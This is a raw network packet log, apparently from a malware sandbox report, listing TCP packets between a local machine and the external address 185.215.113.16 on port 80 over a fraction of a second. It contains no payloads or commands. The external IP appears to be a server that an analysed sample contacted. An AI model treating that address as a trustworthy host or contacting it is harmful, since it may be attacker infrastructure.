Jul 27, 2024 05:39:24.371490955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371503115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371553898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371555090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371601105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371608019 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371637106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371646881 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371669054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371679068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371702909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371710062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371736050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371747971 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371769905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371777058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371803045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371814013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371836901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371845961 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371869087 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371877909 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371902943 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371921062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371942997 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409194946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409264088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409316063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409363985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409398079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409430981 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409439087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409439087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409439087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409439087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409462929 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409476995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409497023 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409507036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409531116 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409538031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409563065 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409573078 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409601927 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409604073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409645081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409651995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409702063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409706116 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409738064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409749031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409782887 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409787893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409825087 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409841061 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409856081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409867048 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409888029 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409898043 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409923077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409931898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.409955025 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.409965038 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410007954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410016060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410041094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410067081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410077095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410088062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410109997 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410120010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410144091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410152912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410176992 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410187960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410209894 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410221100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410238981 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410253048 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410275936 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410279989 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410309076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410316944 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410341978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410351992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410375118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410383940 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410417080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410502911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410535097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410547018 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410568953 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410574913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410609961 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410618067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410650969 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410662889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410685062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410692930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410727978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410737991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410770893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410785913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410811901 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410820007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410852909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410860062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410886049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410904884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410918951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.410929918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410962105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.410969973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411015034 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411019087 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411051989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411061049 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411087036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411092043 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411135912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411139011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411178112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411185980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411218882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411227942 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411263943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411271095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411303997 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411315918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411350012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411355972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411387920 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411397934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411421061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411429882 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411453009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411457062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411495924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411501884 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411535978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411544085 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411567926 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411576986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411601067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411611080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411633968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411642075 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411667109 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411676884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411700010 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411714077 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411732912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411741972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411767006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411776066 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411799908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411808968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411834002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.411842108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.411875963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.425107956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425165892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.425263882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425302982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425308943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.425337076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425368071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425401926 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425414085 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.425436020 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425456047 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.425472021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.425476074 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.425535917 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.462763071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.462832928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.462847948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.462893963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.462902069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.462935925 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.462944031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.462968111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.462977886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463002920 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463011980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463036060 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463043928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463069916 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463078022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463102102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463113070 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463135958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463148117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463165045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463180065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463196993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463207960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463231087 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463241100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463263035 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463294983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463309050 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463330030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463337898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463363886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463372946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463397026 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463403940 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463429928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463442087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463462114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463495970 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463505030 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463531971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463540077 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463576078 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463637114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463669062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463702917 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463713884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463733912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463747025 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463777065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463784933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463818073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463828087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463855982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463860035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.463885069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463922024 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463938951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.463987112 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464004040 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464036942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464039087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464077950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464085102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464118958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464129925 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464147091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464159966 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464179039 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464189053 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464211941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464220047 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464241982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464255095 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464274883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464288950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464308977 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464340925 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464354038 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464374065 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464382887 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464407921 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464417934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464441061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.464451075 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.464483976 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501595020 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501660109 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501677036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501708984 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501719952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501743078 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501750946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501780987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501796007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501828909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501840115 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501874924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501880884 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501913071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501921892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501949072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.501983881 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.501986027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502003908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502033949 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502036095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502068043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502078056 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502100945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502110004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502132893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502141953 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502166033 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502182007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502197981 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502228975 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502262115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502262115 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502298117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502300978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502314091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502342939 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502351046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502386093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502393961 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502420902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502427101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502449989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502464056 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502481937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502515078 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502516985 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502528906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502548933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502557993 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502583027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.502592087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.502626896 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503458023 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503515959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503531933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503577948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503580093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503626108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503629923 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503663063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503679037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503696918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503705025 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503730059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503739119 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503768921 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503772020 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503810883 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503818035 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503849983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503859043 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503882885 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503890991 CEST	49489	80	192.168.2.4	185.215.113.16
